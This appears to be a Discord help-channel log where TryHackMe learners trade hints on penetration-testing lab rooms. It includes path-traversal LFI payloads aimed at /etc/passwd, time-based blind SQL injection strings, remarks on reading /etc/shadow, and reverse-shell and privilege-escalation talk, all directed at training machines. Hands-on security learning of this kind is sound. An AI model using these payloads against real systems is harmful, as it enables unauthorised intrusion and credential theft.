No need to be sorry, I have done that as well haha.

#

Glad you got it figured out

lost swan
woven perch
#

You are welcome

minor wagon
#

clear

pulsar creek
#

I was trying to do the ohsint room but been stuck on "ssid of the wap" question for about half an hour. I have the bssid and used wigle.net to find the city but have no idea what to do next. Can someone give me a hint

#

oh did not do such a thing, lemme figure it out a little bit more ๐Ÿ™‚ thanks

lost swan
#

Thank you @glass eagle

green minnowBOT
#

Gave +1 Rep to @glass eagle

crystal apex
green minnowBOT
#

Gave +1 Rep to @left thunder

vale umbra
#

'LinPrivEscNFS' -> task 11... I can't run mounted nfs file in target machine (||I made a 'mount' to attackbox... I wrote C++ file priv. esc. I ran it on my attackbox, I got root shell, but I can't go in that same mount folder in target machine and run the c++ code.'||) Any tricks?

tidal token
#

Looking for help with File Inclusion Task 5 Question 1 about Lab 3

Give Lab #3 a try to read /etc/passwd. What is the request look like?

I input my request which succeed in getting the passwd
/lab3.php?file=include("languages../../../../etc/passwd%00
and it is incorrect. I don't understand what the question is asking for if not that.

gloomy skiff
#

you forgot an / between languages and .../

woven perch
#

Are you still looking for help?

left thunder
left thunder
woven perch
#

What did you try so far?

#

Think about how you could read certain files with base64 SUID

#

lol no reason to feel stupid

green minnowBOT
#

Gave +1 Rep to @woven perch

woven perch
#

np

tidal token
green minnowBOT
#

Gave +1 Rep to @left thunder

lost swan
grand cradle
lost swan
#

i got it done, but i am stuck at this question

#

What would be the name of the executable you would place in that folder?

grand cradle
#

the prog looking for an .exe in all the paths!

#

and if you for example didn't say "Program Files" but Program Files, then the prog will look for Program.exe --nothing there ok , Files.exe ... and so on

plain nexus
#

hi everyone , can anyone help me in FILE INCLUSION ROOM OF TRYHACKME
I am getting problem in last challenge of that room

vale umbra
#

Hey guys, did somone finished the room: FileInclusionVM. From the Jr Pentester Path?

vale umbra
glass eagle
#

they dont depend on each other, so you can do them in either order

vale umbra
#

Yeah that is what I did, I tried 2... I was stuck and tried 3th afterwards... but didn't understand both

glass eagle
#
  1. change the values multiple times. understand what you do and what the webpage does
#

you can't assume it will do what you want. pay attention. i like to use a long random word like so it's obvious

#

for 3, think if there are otherways to GET the information you want

brittle wing
vale umbra
#

now let's go for third

small mist
#

[ROOM COMPLETED]Howdy, anyone in here completed the "Retro" room by dark? I'm on the box as "iusr" via a webshell->powershell revshell, but I'm pretty sure I'm stuck at this point. I'm not one to usually ask for help, but I think I'm missing something lol. Can't seem to be able to find any dir's that "iusr" has perms to write to, and I can't read any normal users home dirs. Was trying to move forward in my privesc here but I can't even get a directory where I could write any files to lol. Was going to download winPEAS via Invoke-WebRequest, and my local server gets a hit as 200-OK but the files are not on the target lol. Also noticed that SeImpersonatePriveledge is enabled on the box so I'm pretty sure I can just run PrintSpoofer on there and get nt/authority system but again, I can't write to any directories that I know of. I'm probably missing something stupid. Any hits?

#

This is where I'm at lol.

rancid leaf
#

[SOLVED]Hey everyone, new to tryhackmeโ€ฆtrying to finish up the exploiting smb portion of the networkservices room. I am stuck at the last part. I have the id_rsa tile and changed the permissions. Now it says to work out the username, then use the service and key to connect to the server. All I get is connection closed by the server messages. Does this mean Iโ€™m doing something wrong, or just havenโ€™t figured out the right username yet?

small mist
#

So, when I originally tried to log in as Wade it didn't work for some reason, but after messing with it again I got it to work. So I'm assuming that the revshell method was supposed to be a dead end; or I just couldn't figure it out. But I'm here now; lets see if we can finish this off. ๐Ÿ™‚

left thunder
left thunder
vale umbra
glass eagle
vale umbra
#

I tried the POST method and it doesn't filter anything

#

yes POST

rancid leaf
glass eagle
#

okay. use a long random word to see if it's changing what you expect.

vale umbra
left thunder
rancid leaf
glass eagle
#

right. so when you change your request, see what it actually looks up.

left thunder
glass eagle
#

and if you receieve a new error doesn't mean you failed. it could be progress

vale umbra
#

should I actually just bypass that php?

glass eagle
#

okay. so you need to terminate the rest of the line

#

remember in task5, you had to so work with the nullbute

glass eagle
vale umbra
#

I tried %00 and /. still not working

#

I don't know if I just skipped something else

small mist
#

got it

vale umbra
#

Oh I found it @glass eagle xD

#

it was just a stupid typing error

glass eagle
vale umbra
#

Thank you @glass eagle

green minnowBOT
#

Gave +1 Rep to @glass eagle

vale umbra
#

Thank you @woven perch

#

for helping in dm

little tree
#

I am doing file inclusion room of junion Penetration path

#

can anyone help me to solve challenge3

#

I am trying to figure out from last few hours but stuck here

woven perch
little tree
#

yes

#

I checked the hint but was not able to understand it completely

#

can you provide some hints

#

I tried numbers and symbols

#

and encoding

#

nothing worked

#

and I am also trying to figure out what's the purpose of cookie THM=Guest

#

in this challenge

woven perch
little tree
#

yes I am in correct challenge

woven perch
#

I just went to challenge three and it does not have a cookie.

#

Anyways for challenge 3 you should lookup $_REQUEST and the types of input it can take. You can't always GET what you want.

#

input mechanisms is probably better wording

barren bramble
#

I'm doing Task 3 (Brute Force) on the Authentication Bypass for the Jr Penetration Tester path and can't get any results, I'm using the file generated in task 2 (it's populated with the names) and verified I'm properly typing the command. Could anyone point me to anything I may be missing please?

glass eagle
#

when looking at your valid_usernames. did you keep the entire output of the previous command, or make a list of ONLY the usernames?

barren bramble
#

I trimmed it down to only the usernames

glass eagle
#

do you get an errof rom ffuf?

glass eagle
glass eagle
floral pollen
barren bramble
glass eagle
#

send me a screen of your commanto result

glass eagle
floral pollen
#

nmap basic port scan but i fix it

#

thanks

barren bramble
floral pollen
#

you need to specify the wordlist for W1

#

type /usr/share/seclists/Usernames/names.txt

glass eagle
#

the 3 name do need to be in the valid_usernames.txt (which you got from the previous task)

#

you dont need the 10mil. use best 1050. will be faster

floral pollen
#

yes dont use 10 mil bcs u gonna wait so much

glass eagle
#

sec

glass eagle
barren bramble
white salmon
#

@barren bramble maybe cat your valid_usernames.txt and post the output, the rest seems to look like it should

#

well, screenshot ๐Ÿ™‚

barren bramble
#

Thanks @glass eagle for the DM help, got it to work now after rebuilding the valid_users file.

white salmon
#

explaining the -s option for ffuf would really benefit that room i think ๐Ÿ˜‰

green minnowBOT
#

Gave +1 Rep to @glass eagle

little tree
#

user@AttackBox$ traceroute tryhackme.com
traceroute to tryhackme.com (172.67.69.208), 30 hops max, 60 byte packets
1 ec2-3-248-240-5.eu-west-1.compute.amazonaws.com (3.248.240.5) 2.663 ms * ec2-3-248-240-13.eu-west-1.compute.amazonaws.com (3.248.240.13) 7.468 ms
2 100.66.8.86 (100.66.8.86) 43.231 ms 100.65.21.64 (100.65.21.64) 18.886 ms 100.65.22.160 (100.65.22.160) 14.556 ms
3 * 100.66.16.176 (100.66.16.176) 8.006 ms *
4 100.66.11.34 (100.66.11.34) 17.401 ms 100.66.10.14 (100.66.10.14) 23.614 ms 100.66.19.236 (100.66.19.236) 17.524 ms
5 100.66.7.35 (100.66.7.35) 12.808 ms 100.66.6.109 (100.66.6.109) 14.791 ms *
6 100.65.14.131 (100.65.14.131) 1.026 ms 100.66.5.189 (100.66.5.189) 19.246 ms 100.66.5.243 (100.66.5.243) 19.805 ms
7 100.65.13.143 (100.65.13.143) 14.254 ms 100.95.18.131 (100.95.18.131) 0.944 ms 100.95.18.129 (100.95.18.129) 0.778 ms
8 100.95.2.143 (100.95.2.143) 0.680 ms 100.100.4.46 (100.100.4.46) 1.392 ms 100.95.18.143 (100.95.18.143) 0.878 ms
9 100.100.20.76 (100.100.20.76) 7.819 ms 100.92.11.36 (100.92.11.36) 18.669 ms 100.100.20.26 (100.100.20.26) 0.842 ms
10 100.92.11.112 (100.92.11.112) 17.852 ms * 100.92.11.158 (100.92.11.158) 16.687 ms
11 100.92.211.82 (100.92.211.82) 19.713 ms 100.92.0.126 (100.92.0.126) 18.603 ms 52.93.112.182 (52.93.112.182) 17.738 ms
12 99.83.69.207 (99.83.69.207) 17.603 ms 15.827 ms 17.351 ms
13 100.92.9.83 (100.92.9.83) 17.894 ms 100.92.79.136 (100.92.79.136) 21.250 ms 100.92.9.118 (100.92.9.118) 18.166 ms
14 172.67.69.208 (172.67.69.208) 17.976 ms 16.945 ms 100.92.9.3 (100.92.9.3) 17.709 ms
what is the IP address of the last router/hop before reaching tryhackme.com?
What would be the answer?
In my knowledge, It should be 100.92.9.118
But that's not right answer
can anyone tell me the answer with reason?

loud lotus
#

SQL Injection Task 8 blind SQli referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';-- gives no response. I read the other task 8 posts. Any other hints?

native atlas
blazing prairie
native atlas
#

Yes, it takes time but you'll get there!

blazing prairie
#

i found some table names

#

that's it x)

loud lotus
# blazing prairie "u" should be replaced by something similar you found in task 3

task 5 gave me a hint of what the database name is. When I put it in it takes 5.001 seconds but doesn't return anything. I manage two SQL servers with 30+ databases and am used to writing select script. Other than changing u do I need to modify any other part of it. the referrer script doesn't return tables. I looked at task 3 and tried many SQL scripts to retrieve tables and get errors. This is the last task I need to complete.

mental quarry
#

In the gatekeeper room , the script firefox_decrypt just doesn't work. I tried my best, but can't get it to work. Any ideas or workarounds?

left thunder
blazing prairie
loud lotus
blazing prairie
loud lotus
blazing prairie
zealous night
#

Complete Beginner path, need help with Network Services module Task 4, the very last question, figuring out the password? I've been stuck on this for awhile now. I think I skipped a room where we learn to decrypt rsa_id or something. Thanks

glass eagle
white salmon
#

also don't forget to chmod 600 it

zealous night
remote raft
#

Hey guys, I am on the linux privesc task(jr pentester) where I gain root shell access on a reverse shell through a cronjob. However, once the script executes and I get a connection on the reverse shell(attacking machine), it connects as the unprivileged user(karen) instead of root. can you help me out as to why this happens

glass eagle
glass eagle
zealous night
green minnowBOT
#

Gave +1 Rep to @glass eagle

loud lotus
gritty crescent
#

and I've tried the best1050.txt password list.. Still getting:
this output with these errors. what am I doing wrong?

left thunder
gritty crescent
dry gate
#

to post screenshots and all that shebang, you need to verify btw :P

#

!docs verify

proud scarabBOT
blazing prairie
eager saffron
# sturdy hearth You need to have `read` access to `/etc/shadow`

@prime elk @obtuse hill what you need to do here is to accept that as regular murphy user you cannot have read access to the /etc/shadow file,
[-] Post aborted due to failure: no-access: Shadow file must be readable in order to dump hashes
so what you need to do here is to rise your privileges by using command like sudo cat /etc/shadow
the copy & paste previously used ssh password
for linux users this might be so obvious, that someone might to forget mention that ๐Ÿ˜› for non linux users

dusty gyro
#

Can I get a hint for command injection task 5

dusty gyro
#

Guys on what path should I run the whoami payload in task5 command injection please ๐Ÿ˜ฉ

left thunder
dusty gyro
#

@left thunder Hi Fontaene,
I just got the first question by running a payload in the diagnoseit machine. ๐Ÿšฉ
The second question it asks for the flag in /home/tryhack.me/flag.txt
I don't know how to run a payload on that๐Ÿค”

left thunder
dusty gyro
#

I would open the attackbox and run curl with a http()whoami@left thunder ๐Ÿค”

left thunder
dusty gyro
#

@left thunder I think that half a path is confusing me. I would use my local ip or the path

left thunder
dusty gyro
left thunder
dusty gyro
#

@left thunder great thankyou ๐Ÿ˜Ž no worries I'm entry level

loud lotus
#

Give +1 Rep to @MadzBlind

remote raft
#

Hi everyone, So I am stuck on linux privesc task 11 (NFS)
I see there are 3 mountable shares on the target machine, out of which I cant "cd" into 2 of them. so the only genuine one is /tmp

So I mount the /tmp drive on the attacking machine, create the binary and make it execudable, give it SUID permissions and root ownership. however, these files dont show up on th

white salmon
#

For the NetSec Challenges, can you specify what port you want instead of protocol name in Hydra?

#

trying to re-direct to the non-standard FTP port

#

I've tried the -S switch but it's not taking it for some reason

#

ohhhh gotcha

#

thanks! @burnt rivet

green minnowBOT
#

Gave +1 Rep to @burnt rivet

shrewd seal
#

Hey people, I'm trying to complete LFI #2 on inside File Inclusion in the Junior Penetration Tester Course and I accomplished the task, the one thing I can't seem to find is the name of the function in the second question, please help, it is something with 17 characters

left thunder
shrewd seal
#

I've tried everything I believe but I'll keep at it

#

I got it now, I would never reach it

#

Thanks everyone

open tapir
#

guys I am stuck on an authentication bypass task4 for hours any help, please??

worthy marten
worthy marten
light phoenix
#

Hi! Is there anyone that can help me with SQL Injection lab from the new Jr Penetration Tester path? I have been stuck for hours

left thunder
light phoenix
#

Sure Thanks!

#

I need help for the SQL Injection Room from the new Jr Penetration Tester Path. I'm stuck at task 8. The room is really buggy, it gives a lot of false positives, that's why I am unable to enumerate columns from the DB

viscid dragon
#

Hello, I need a hint on ccpentsting room Section 7 - Final Exam @ https://tryhackme.com/room/ccpentesting

Using nmap I found out there's a SSH and Apache services running on the machine, using the browser I saw that the apache server is running the default page, scanning with gobuster has discovered a few pages with access denied codes, but there's a /secret folder with code 301 that just leads to a blank page..

left thunder
light phoenix
#

I already used sqlmap cause I went crazy. Time based blind SQL injection from task 4 activates if you put an underscore while enumeration and using sqlmap gave the correct data. Example: I use "UNION SELECT SLEEP(5),2 WHERE database like 'sql_%';" and it triggers the vuln. I spent a lot of time stuck at this with the idea stuck in my head that the DB name started with sql_ and it was wrong.

#

I can also put 'sql_____________' and still triggers the vuln but if I try any other letter, number or symbol, apart from the underscore, it wont activate

#

I have the db name and the table name, but it's happening again with the columns

left thunder
# light phoenix I already used sqlmap cause I went crazy. Time based blind SQL injection from ta...

I don't know about sqlmap, but you can do the whole task within the page of the split screen. So I'm not sure what exactly you are stuck on, if you use admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';-- and it's not sleeping 5 seconds, means that the database name doesn't start with u . So if you are going through all the letters and special characters. Like 'a%' , 'b%' and so on, you should be easily able to figure out the database name and so on. Also as far as I remember, there is no database starting with sql so if you try admin123' UNION SELECT SLEEP(5),2 where database() like 's%';-- it shouldn't sleep.

light phoenix
#

Sorry, I meant level 4 from task 8, the only "challenge" that doesn't explain every step.

#

I know, but that is the problem, the room is buggy, cause as I said I used sqlmap and I already got the real name of the DB, but when I try the real name with the payload directly on the webpage, it wont trigger, it will only trigger with an underscore

#

For example, let's imagine that I already know that the name of the DB is 'admin'. If I try and send "admin123' UNION SELECT SLEEP(5),2 where database() like 'admi%';--" it wont trigger. But if I do "admin123' UNION SELECT SLEEP(5),2 where database() like 'adm_%';--" it activates ๐Ÿ˜ฆ

left thunder
light phoenix
#

It does, I already extracted the real DB name and the table name that I want to extract, but every time I try to do it manually, it does the same. Like on the DB name, it always did that not vuln trigger with "admin123' UNION SELECT SLEEP(5),2 where database() like 'sql%';--

#

So I managed to get db and table name, but now the webpage is doing the same with column enumeration and I can't move

left thunder
# light phoenix It does, I already extracted the real DB name and the table name that I want to...

Oh hold on I'm stuipd, it actually starts with s xD. So if it's triggering with 'sql_%' it means there is an underscore in it. But as you already figured out the database name, I don't know why you going to try admin123' UNION SELECT SLEEP(5),2 where database() like 'adm_%';-- as that's only going to enumerate another database, instead of trying to enumerate the tables of the sql database you previously found.

light phoenix
#

Sorry, that was an example so that I wont spoil anything

#

Let me send the real query that I am using

left thunder
#

Ye

light phoenix
#

admin123' UNION SELECT SLEEP(3),2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_*' and TABLE_NAME='use' and column_name like '%';-- -

left thunder
light phoenix
#

table name is wrong, grabbed the font change with some * symbols

light phoenix
#

sqli_****

#

use**

left thunder
#

Okay.

light phoenix
#

Now, if I do admin123' UNION SELECT SLEEP(3),2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_' and TABLE_NAME='use' and column_name like '_%';-- - it does trigger, even if I put 100 underscores, but it doesn't work with any other letter or symbol

left thunder
# light phoenix Now, if I do admin123' UNION SELECT SLEEP(3),2 FROM information_schema.COLUMNS W...

Okay, I don't know why it's going to trigger with the underscores, I had an issue with underscores while enumerating the database name as well, but, if you keep on adding 'a%';-- , 'b%';-- and so on, you should get a positive response for one of the letters. Not sure if you really also add the - at the very end of your query or if it's just a typo in discord, but if you do, I would get rid of that

#

And that it's going to trigger with using only '%';-- is alright.

light phoenix
#

Thanks for the help buddy! I restarted two times the machine and it finally worked, room completed!

#

Again, thanks for the help

drifting crest
#

Hello all, who can I ask for help, I can not understand how to up privilege, I found the binary itself, but I can not understand how it works, task Blog

paper carbon
#

Im stuck in the File Inclusion room, Challenge, Question 3.
All fullstops and "/" are filtered, so I have no idea how to get to ../(...)/etc/flag3.
The hints said that I should research $_Requests in PHP, because some things aren't filtered, but for the life of me I can't find any good documentation on it that includes this.
What can I do now?

left thunder
paper carbon
# left thunder Combination of filter bypass, which is explained in a previous task and request ...

I've tried filter bypass with "....//", but that doesn't work. The individual "." and "/" are replaced, so I can't duplicate it that way. As for the request methods: I changed this from GET to POST and now it worked. Thanks a lot! I've read through the differences between GET and POST though, and I don't quite understand how changing this would change the filter. As far as I can remember "/" are part of ascii, right?

green minnowBOT
#

Gave +1 Rep to @left thunder

paper carbon
#

New issue arrose: When trying to circumvent the appended ".php" with a nullbyte, I realized that the nullbyte is just taken into the search. So, the query goes as follows: ".../etc/flag3%00.php". How do I have the nullbyte actually "work"?

left thunder
paper carbon
green minnowBOT
#

Gave +1 Rep to @left thunder

dry gate
#

Nobody starts off being great at this stuff ^-^

paper carbon
#

That is true, but I am "already" 0x8 and still do things like this haha. I end up getting done by looking up writeups sometimes, but there are no writeups for actual bug bounty hunting

dry gate
paper carbon
dry gate
paper carbon
green minnowBOT
#

Gave +1 Rep to @dry gate

dry gate
#

you're very welcome blobheart

sly moth
#

room Linux privesc - task 5 but not able to transfer exploit to target machine

#

any one please help

#

tried scp

#

wget

#

curl

#

getting permission denied

#

$ wget http://10.10.131.130/37292.c
--2021-10-31 11:09:20-- http://10.10.131.130/37292.c
Connecting to 10.10.131.130:80... connected.
HTTP request sent, awaiting response... 405 Method Not Allowed
2021-10-31 11:09:20 ERROR 405: Method Not Allowed.

$ curl htttp://10.10.131.130/37292.c
-sh: 5: curl: not found

white salmon
#

Retry in /tmp folder maybe

worthy marten
sly moth
#

thanks

green minnowBOT
#

Gave +1 Rep to @worthy marten

white salmon
#

npnp

sly moth
#

not able to connect to target machine
Task 6 Privilege Escalation: Sudo
connection error

worthy marten
#

you might as well forget about sudo in this and all upcoming tasks in this room. Try the other GTFObins options. Now you have to scratch head harder.

green minnowBOT
#

Gave +1 Rep to @worthy marten

sly moth
#

got you

proven willow
#

Hey there! I'm stuck on Task 8 in the SQL Injection room. I got the table schema but I've tried everything for the table name, but I am not getting a delay

proven willow
#

In the %, I tried inputting every number, char and alphabet

left thunder
proven willow
#

Oh I see

#

My bad

#

Thanks! @left thunder

green minnowBOT
#

Gave +1 Rep to @left thunder

covert yarrow
#

Hi, I'm also stuck on Task 8 in the SQL Injection room. I found the first 4 characters of the password but couldn't find the next one.

glass eagle
#

have you checked if that is the password?

covert yarrow
#

yes

#

it said incorrect username/password, combination

glass eagle
#

yeah. mine shows admin with a 4 char password

#

that has multiple pages that keep progressing to the next challenge, right?

covert yarrow
#

yes

#

it's Level 4

#

time based one

glass eagle
#

and you pulled info from sqli_four, so its not the same pw as the previous task?

covert yarrow
#

yeah, It's not the same password as the previous task

glass eagle
covert yarrow
#

I got the delay for the fist 4 characters of the password for admin. Tried logging in but didn't work

#

thanks @glass eagle

green minnowBOT
#

Gave +1 Rep to @glass eagle

glass eagle
mental blade
little tree
#

Who is the author of Exploit-DB?
johnny long should be the answer
but it is not
any hints?

white salmon
vale otter
#

This is on an attackbox

#

Doing the Network Services 2 MySQL section

#

Task 9

glass eagle
#

if you've already done that. try running it as "/usr/bin/mysql"

vale otter
#

I tried that in the screenshot, I'll try what your method

#

It didn't work.

#

No such file or directory

glass eagle
#

sudo apt reinstall default-mysql-client ?

#

if i look where my mysql client is coming from it shows mariadb-client-core
$dpkg -S /usr/bin/mysql
mariadb-client-core-10.5: /usr/bin/mysql

#

could try installing that

vale otter
#

Is that your attackbox from TryHackMe?

glass eagle
#

i'm booting up an attackbox. this was a local rpi/kali

vale otter
#

I thought the attackbox would have it installed already.

glass eagle
#

it doens't it says in the task to install that default-mysql-client

#

its possible apt didn't install if the repo was out of date

#

run
sudo apt update -y
sudo apt install -y default-mysql-client

#

after i ran those 2 commands, it installed and was at /usr/bin/mysql

vale otter
green minnowBOT
#

Gave +1 Rep to @glass eagle

boreal quiver
#

I am having problems with : Jr Penetration Tester Room - Authentication Bypass - Task 3 - Brute Force. The problem is that no valid userid/password is reported. Instead all I get is 4 lines similar to Progress: [40/400] Job 1/1 0 req/sec Duration 0:00:00

#

Has anyone else successfully completed that task?

left thunder
boreal quiver
#

ahhhh thats probably the problem. I will try that... thanks!

glass eagle
boreal quiver
#

will do... thanks

rough ice
#

Can anyone help me with this question? This is Task 12 Linux Modules.

sharp cliff
#

on linux fundamentals 1. having trouble answering which directory contains a file as all of them do. i feel like im misunderstanding the question.

#

any help would be amazing

#

there is no directory named tryhackme

#

@burnt rivet

#

task 3 had me open the machine i thought i was supposed to be working in it the whole time

#

smh thanks man i was pulling my hair out i feel quite stupid

#

i only saw the option to open the attackbox

#

neither here nor there though thanks again for your help bro

#

i was losing it lol

white salmon
#

Hello i feel really dumb but what is the answer to this
Besides Clock, Volume, and Network, what other icon is visible in the Notification Area?

whole python
#

Can you tell me the room name pls?

white salmon
#

Windows Fundamentals 1

rich saddle
#

it is windows fund 1

whole python
#

alr gimme a second

rich saddle
#

@white salmon action center

white salmon
#

AM I THAT DUMB

rich saddle
#

no i had problems with it aswell

#

lol

white salmon
#

LMAO

rich saddle
#

did it yesterday

white salmon
#

I know all the stuff like dekstop taskbar etc.

whole python
#

I did it a bit ago too and I just find windows annoying

white salmon
#

but this shit confusing

white salmon
#

Lmao i now use windows 11

whole python
#

I just use linux for everything (except this chromebook for school and my phone)

white salmon
#

Cool

left thunder
#

There would have been a link for a brief description of the notification area, if you would have checked that documentation you would have gotten your answer as well, so might be a good thing to check out such attached links ๐Ÿ™‚

white salmon
#

LMAO OK THANKS

#

CYA ima do the other ones now

white salmon
#

What is the name of the other user account?

#

Can someone help me pls

glass eagle
white salmon
#

Yeah lmao :((

glass eagle
#

task6? did you see it in local user manager (lusrmgr.msc)?

white salmon
#

wdym?

glass eagle
#

startmenu > run lsusrmgr.msc will load a panel with accounts on the machine

white salmon
#

Yes i did that

glass eagle
#

on the left side, click on users. then the middle pane will populate with users on the machine

white salmon
#

did that

glass eagle
#

the entry with "ful name" entry should be the answer

white salmon
#

U mean my user name tf

glass eagle
#

there are 5 accounts listed. 4 of them are standard windows accounts (admin, guest, default, wdag....)

white salmon
#

Yeah

glass eagle
#

you logged in as 'administrator', so the other account is th 5th account

glass eagle
white salmon
#

Nah bro im rly stupid

#

can u vc it would be easier

glass eagle
#

its not always obvious when learning something new. sure drop into voicechat

glass eagle
white salmon
#

?

glass eagle
#

just following up. so other people see you finished the task or if other people use the search they can see what the solution was

white salmon
#

What is the keyboard shortcut to open Task Manager?

#

I know a lot of shortcuts but which one i type

glass eagle
#

read the article they list in the task. it's very common to have rooms ask you to research information yourself

#

they also want to teach you how to find the information, not just copy/paste info from the task

white salmon
#

Oh

glass eagle
#

you dont have to read all of them, but if the information wasn't obvious in the task, see if any of the related arcticles could help find the answer.

white salmon
#

Found it

glass eagle
#

you're only on day2. there's a lot to learn. dont get frustrated when you're still getting familiar

white salmon
#

Ok

jagged minnow
#

hi, i am stuck in the romm "burpsuitrepeater" at the question
See if you can get the server to error out with a "500 Internal Server Error" code by changing the number at the end of the request to extreme inputs.
i only get error 404.

#

someone knows why ?

left thunder
jagged minnow
#

i tried the same for long,
and later i tried to input strings

#

and than random characters like "<" or "|"

#

but nothing, are my inputs wrong ?

left thunder
jagged minnow
#

f me

#

ok i got it

#

sry for the useless question, and ty for your answer

left thunder
#

Not a problem ๐Ÿ™‚

glossy perch
#

I had the same problem but with reuse of script I forgot to remove Bs from retn variable. With offset 0 and empty retn variable it gave the right offset.

mental quarry
green minnowBOT
#

Gave +1 Rep to @glossy perch

pastel charm
#

Hello there. I am doing Fireeye-Redline room > Task-6 > Problem is I tried many ways but i won't be able to create IOC report successfully.

graceful rain
#

hey, im working on subdomain enumeration task 6, thing is it doesnt show the 2 results it should, it filters out everything instead

ivory cypress
#

what's the ffuf command you've used? what output did you get?

graceful rain
#

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://MACHINE_IP -fs 472

ivory cypress
#

hmmm

graceful rain
#

the other command mostly showed 472 size

ivory cypress
#

i don't remember what response size could be used for doing the filter

#

but you might want to check what the response size for invalid vhosts would be

#

then use that as a filter so that you only get valid vhosts in your output

graceful rain
#

if i run it without filter i see this

ivory cypress
#

ok... starting the room up now to see what the problem is

graceful rain
#

appreciate the help :>

ivory cypress
#

the response status codes you get shouldn't be 405

#

have you added the machine's IP address into the command?

graceful rain
#

yea

ivory cypress
#

is the machine IP address you put in the command correct?

graceful rain
#

its displayed in green

ivory cypress
#

i make mistakes like this sometimes and it always helps to double-check your work

graceful rain
#

at the top of the page

#

right?

#

and also in terminal

#

its the name of the machine

#

at the very top of the attackbox it also says its ip

#

so im pretty sure im typing in the correct one

ivory cypress
#

ohhh i see what the problem is

#

you're running ffuf on the AttackBox

#

the AttackBox is a machine for you to run commands against other victim machines you spin up in THM

#

it itself isn't a victim machine

graceful rain
#

ah wait

#

i shouldve started the machine in task 1 no?

ivory cypress
#

yeah

graceful rain
#

lemme try

ivory cypress
#

when you've started that machine, you should see this banner

#

the IP address in the red box is the IP address of the victim machine for you to do vhost enumeration on

graceful rain
#

AAAAH

#

i c

#

the ip is different

#

okok ill start the machine and check

#

worked now

#

thanks alot for the quick response <3 @ivory cypress

green minnowBOT
#

Gave +1 Rep to @ivory cypress

white salmon
#

hi someone help on clowned room on tryhackme?

steady stratus
#

It also looks like a machine for a CTF

lilac tusk
#

how i am supposed to do that ? if someone can explain me

left thunder
lilac tusk
#

oh yeah, sorry

#

intro to LAN, task 1, the final question

#

i'm french and i'm not so good in english, so i don't understand some sentences in the questions

left thunder
lilac tusk
left thunder
lilac tusk
#

but at the end of the labs, it don't give me any flags

#

OH NO

#

i found

#

i don't see i can cut the netword

#

network*

left thunder
lilac tusk
#

ok thx